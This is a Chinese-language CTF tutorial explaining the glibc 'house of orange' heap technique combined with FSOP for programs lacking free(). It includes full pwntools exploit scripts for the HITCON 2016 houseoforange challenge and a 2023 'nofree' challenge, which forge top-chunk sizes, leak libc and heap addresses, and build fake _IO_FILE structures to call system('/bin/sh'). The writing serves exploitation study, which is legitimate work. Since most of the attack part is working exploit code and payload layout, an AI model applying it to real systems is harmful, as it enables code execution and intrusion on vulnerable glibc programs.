house of orange & no free
2023-4-4 17:55:0 Author: xz.aliyun.com(查看原文) 阅读量:13 收藏

介绍:

house of orange是在程序没有free函数的情况下,通过修改top_chunk的size,在下一次申请超过top_chunk的大小的chunk时,就会把top chunk释放掉,送入unorted bin中,这样一来我们就获得一个在unsorted bin中的堆块,而通常不单单只是利用house of orange手法,还要搭配着FSOP攻击

适用版本:

glibc 2.23 -- 2.26

利用条件:

  • 可以进行 ​unsortedbin attack
  • 可以触发FSOP​

攻击方法:

  • unsortedbin attack
  • 伪造IO结构体
  • 触发FSOP

原理分析:

简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中

当程序调用malloc进行分配,fastbin、smallbins、unsorted bin、largebins等均不满足分配要求时,_int_malloc函数会试图使用 top chunk,当 top chunk 也不能满足分配的要求,因此会执行如下分支:

/*
Otherwise, relay to handle system-dependent cases
*/
else {
      void *p = sysmalloc(nb, av);
      if (p != NULL && __builtin_expect (perturb_byte, 0))
        alloc_perturb (p, bytes);
      return p;
}

我们再申请的chunk大小不能大于mmap的分配阈值,以实现利用sysmalloc函数通过 brk 拓展top_chunk

sysmalloc 函数中存在对 top chunk size 的 check:

assert((old_top == initial_top(av) && old_size == 0) ||
     ((unsigned long) (old_size) >= MINSIZE &&
      prev_inuse(old_top) &&
      ((unsigned long)old_end & pagemask) == 0));

top_chunk伪造的要求:

  1. 伪造的 size 必须要对齐到内存页
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. size 的 prev inuse 位必须为 1

为什么要对齐到内存页:

现代操作系统都是以内存页为单位进行内存管理的,一般内存页的大小是 4kb(0x1000),那么伪造的 size 就必须要对齐到这个尺寸


可以看到原来的4000是对于4kb(0x1000)对齐的



我们修改size为0xfc1后,满足了对齐到内存页的条件



所以我们一般情况下,对top_chunk的伪造都是直接在原本size的基础上直接砍掉前面的0x20000,只保留后面的低位即可

之后top_chunk会通过执行_int_free进入 unsorted bin 中

例题houseoforange_hitcon_2016:



默认都是保护全开



add:



edit:



edit功能没有对修改chunk大小进行限制,存在堆溢出漏洞



利用详解:
  • 修改top_chunk的size,将其送入unsorted bin
  • 分割top_chunk,以获取libc地址和heap地址
  • 修改new_top_chunk大小,送入smallbin 的0x60部分
  • 伪造IO结构体(_IO_list_all、IO_2_1_stderr、_IO_file_jumps)
  • exit退出,触发FSOP

house of orange:

修改top_chunk的size,将其送入unsorted bin

首先申请一个小堆块,可以看到会一次性生成了3个相0x20大小的堆块



pl=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(0x40,pl)

通过堆溢出修改top_chunk的size



申请大于0xfa1大小的堆块,将top_chunk送入unsorted bin



分割top_chunk,以获取libc地址和heap地址

为了下面说明更加方便,我们将新分割出来的0x400大小的chunk命名为chunk1,被分割后的top_chunk命名为new_top_chunk

add(0x400,'c'*8)

show()
libc_base=l64()-0x3c5188
print('libc_base = '+hex(libc_base))
sys = libc_base + libc.sym['system'] 
io_list_all = libc_base + libc.sym['_IO_list_all'] 

edit(0x20,'d'*0x10)
show()
heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0xc0
print('heap_base = '+hex(heap_base))
FSOP:

伪造_IO_list_all

修改new_top_chunk大小,送入smallbin 的0x60部分

我们最后攻击后,会将main_arena+88/96地址写入_IO_list_all,劫持IO结构体

但是main_arena+88/96处地址是不受我们控制的,也就是说我们无法直接通过在main_arena+88/96处布置来伪造_IO_list_all

而main_arena+88/96地址+0x68处也就是_chain字段,恰好是smallbin的0x60段

这也就是意味着我们可以通过将chunk送入smallbin的0x60段来篡改_chain字段指向的IO_2_1_stdout

pl='f'*0x400

pl+=p64(0)+p64(0x21)
pl+=p64(0)*2

#_IO_list_all
#_IO_2_1_stderr_
pl+='/bin/sh\x00'+p64(0x61) ##&heap_base+0x4F0
pl+=p64(0)+p64(io_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x4F0)
pl+=p64(0)*13
pl+=p64(heap_base+0x4F0+0xD8)

#_IO_file_jumps
pl+=p64(0)*2+p64(sys)

edit(0x1000,pl)

将分割后产生的chunk1和程序生成的chunk(0x20)填满后,再将new_top_chunk的size修改为0x60,将其送入smallbin的0x60部分

​​

​​

#_IO_list_all
pl+='/bin/sh\x00'+p64(0x61) #&heap_base+0x4F0
pl+=p64(0)+p64(io_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x4F0) #_chain

这样在攻击后,_IO_FILE_plus结构体的_chain就被篡改为了new_top_chunk的地址



也就是原本指向IO_2_1_stdout结构体的地址被我们篡改


伪造IO_2_1_stderr

#_IO_2_1_stderr_
pl+='/bin/sh\x00'+p64(0x61) ##&heap_base+0x4F0
pl+=p64(0)+p64(io_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x4F0)
pl+=p64(0)*13
pl+=p64(heap_base+0x5c8) #vtable

我们通过堆溢出在new_top_chunk地址伪造IO_2_1_stdout结构体



主要是将vtable表中原本指向_IO_jump_t结构体的地址篡改为&vtable




​​

​​

#_IO_file_jumps
pl+=p64(0)*2+p64(sys)



申请新堆块来触发攻击

p.sendlineafter('Your choice : ',str(1))

完整exp:
#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
#from ae64 import AE64
#from LibcSearcher import * 

context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"

name = './pwn'

debug = 0
if debug:
    p = remote('172.52.16.218',9999)
else:
    p = process(name)


libcso = '/lib/x86_64-linux-gnu/libc-2.23.so'
#libcso = './libc-2.32.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)


s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']



def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()

bss = elf.bss()


def add(size,content):
    p.sendlineafter('Your choice : ',str(1))
    p.sendlineafter('Length of name :',str(size))
    p.sendafter('Name :',content)
    p.sendlineafter('Price of Orange:',str(1))
    p.sendlineafter('Color of Orange:',str(2))


def edit(size,content):
    p.sendlineafter('Your choice : ',str(3))
    p.sendlineafter('Length of name :',str(size))
    p.sendafter('Name:',content)
    p.sendlineafter('Price of Orange:',str(1))
    p.sendlineafter('Color of Orange:',str(2))


def delete(index):
    p.sendlineafter('4.show\n',str(2))
    p.sendlineafter('index:\n',str(index))

def show():
    p.sendlineafter('Your choice : ',str(2))

add(0x10,'a')
pl=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(0x40,pl)

add(0x1000,'b')
add(0x400,'c'*8)

show()
libc_base=l64()-0x3c5188
print('libc_base = '+hex(libc_base))
sys = libc_base + libc.sym['system'] 
io_list_all = libc_base + libc.sym['_IO_list_all'] 

edit(0x20,'d'*0x10)
show()
heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0xc0
print('heap_base = '+hex(heap_base))


pl='f'*0x400
pl+=p64(0)+p64(0x21)
pl+=p64(sys)+p64(0)
pl+='/bin/sh\x00'+p64(0x61) ##&heap_base+0x4F0
pl+=p64(0)+p64(io_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x4F0)
pl+=p64(0)*13
pl+=p64(heap_base+0x5c8)
pl+=p64(0)*2+p64(sys)


edit(0x1000,pl)


#dbg()
p.sendlineafter('Your choice : ',str(1))



itr()



2023第七届“楚慧杯”网络空间安全实践能力竞赛 nofree



edit:


和前一个题利用点一样,也是存在一个堆溢出的漏洞



所给的libc版本也是2.23,直接放ubuntu16里打即可

和前一个题一样的攻击思路

exp:
add_idx = 1
edit_idx = 2
show_idx = 3

def choice(cho):
    sla('t >> ',cho)

def add(idx,size):
    choice(add_idx)
    p.sendlineafter('input idx: ',str(idx))
    p.sendlineafter('input size: ',str(size))

def edit(idx,size,content):
    choice(edit_idx)
    p.sendlineafter('input idx: ',str(idx))
    p.sendlineafter('input size: ',str(size))
    p.sendafter('input content: ',content)

def show(idx):
    choice(show_idx)
    p.sendlineafter('input idx: ',str(idx))


add(0,0x10)
add(1,0x10)
pl=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xFC1)
edit(0,0x40,pl)
add(2,0x1000)

add(3,0x400)
show(3)
libc_base=l64()-0x3c5188
print('libc_base = '+hex(libc_base))

edit(3,0x20,'a'*0x10)
show(3)
heap_base=u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x40
print('heap_base = '+hex(heap_base))

IO_list_all=libc_base + libc.sym['_IO_list_all'] 
sys = libc_base + libc.sym['system'] 

pl='b'*0x400

pl+='/bin/sh\x00'+p64(0x61)
pl+=p64(0)+p64(IO_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x450)
pl+=p64(0)*13
pl+=p64(heap_base+0x450+0xD8)

pl+=p64(0)*2+p64(sys)
edit(3,0x1000,pl)


choice(add_idx)
p.sendlineafter('input idx: ','4')
p.sendlineafter('input size: ','1280')

itr()

​​

​​

参考:

House of Orange - CTF Wiki (ctf-wiki.org)

关于house of orange(unsorted bin attack &&FSOP)的学习总结 - ZikH26 - 博客园 (cnblogs.com)

houseoforange_hitcon_2016 - LynneHuan - 博客园 (cnblogs.com)


文章来源: https://xz.aliyun.com/t/12389
如有侵权请联系:admin#unsafe.sh